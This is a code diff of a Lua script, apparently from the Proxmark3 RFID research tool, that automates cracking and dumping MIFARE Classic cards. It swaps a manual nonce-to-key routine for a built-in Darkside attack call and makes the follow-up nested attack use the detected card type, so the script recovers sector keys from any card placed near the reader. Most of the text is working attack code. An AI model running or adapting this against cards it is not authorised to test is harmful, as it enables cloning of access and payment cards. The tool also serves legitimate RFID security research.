desc =
[[
-This is a which automates cracking and dumping mifare classic cards. It sets itself into
+This is a script which automates cracking and dumping mifare classic cards. It sets itself into
'listening'-mode, after which it cracks and dumps any mifare classic card that you
place by the device.
-- @return if unsuccessfull : nil, error
function wait_for_mifare()
while not core.ukbhit() do
- res, err = reader.read1443a()
+ res, err = reader.read1443a(false, true)
if res then return res end
-- err means that there was no response from card
end
return nil, "Aborted by user"
end
-function mfcrack()
- core.clearCommandBuffer()
- -- Build the mifare-command
- local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
-
- local retry = true
- while retry do
- core.SendCommand(cmd:getBytes())
- local key, errormessage = mfcrack_inner()
- -- Success?
- if key then return key end
- -- Failure?
- if errormessage then return nil, errormessage end
- -- Try again..set arg1 to 0 this time.
-
- cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
- end
- return nil, "Aborted by user"
-end
-
-
-function mfcrack_inner()
- while not core.ukbhit() do
- local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
- if result then
- -- Unpacking the three arg-parameters
- local count,cmd,isOK = bin.unpack('LL',result)
-
- if isOK ~= 1 then return nil, "Error occurred" end
-
-
- -- The data-part is left
- -- Starts 32 bytes in, at byte 33
- local data = result:sub(33)
-
- -- A little helper
- local get = function(num)
- local x = data:sub(1,num)
- data = data:sub(num+1)
- return x
- end
-
- local uid,nt,pl = get(4),get(4),get(8)
- local ks,nr = get(8),get(4)
-
- local status, key = core.nonce2key(uid,nt, nr, pl,ks)
- if not status then return status,key end
-
- if status > 0 then
- print("Key not found (lfsr_common_prefix problem)")
- -- try again
- return nil,nil
- else
- return key
- end
- end
+function nested(key,sak)
+ local typ = 1
+ if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
+ typ = 4
+ elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
+ typ= 1
+ elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
+ typ = 0
+ elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
+ typ = 2
+ elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
+ typ = 1
+ else
+ print("I don't know how many sectors there are on this type of card, defaulting to 16")
end
- return nil, "Aborted by user"
-end
-
-function nested(key)
- local cmd = string.format("hf mf nested 1 0 A %s d",key)
+ local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
core.console(cmd)
end
function main(args)
- local verbose, exit,res,uid,err,_
+ local verbose, exit,res,uid,err,_,sak
local seen_uids = {}
-- Read the parameters
if err then return oops(err) end
-- Seen already?
uid = res.uid
+ sak = res.sak
if not seen_uids[uid] then
-- Store it
seen_uids[uid] = uid
print("Card found, commencing crack", uid)
-- Crack it
local key, cnt
- res,err = mfcrack()
- if not res then return oops(err) end
+ err, res = core.mfDarkside()
+ if err == -1 then return oops("Button pressed. Aborted.")
+ elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
+ elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
+ elseif err == -4 then return oops([[
+Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
+generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
+ elseif err == -5 then return oops("Aborted via keyboard.")
+ end
-- The key is actually 8 bytes, so a
-- 6-byte key is sent as 00XXXXXX
-- This means we unpack it as first
print("Key ", key)
-- Use nested attack
- nested(key)
+ nested(key,sak)
-- Dump info
dump(uid)
end
end
end
-end
-- Call the main
main(args)
projects / proxmark3-svn / blobdiff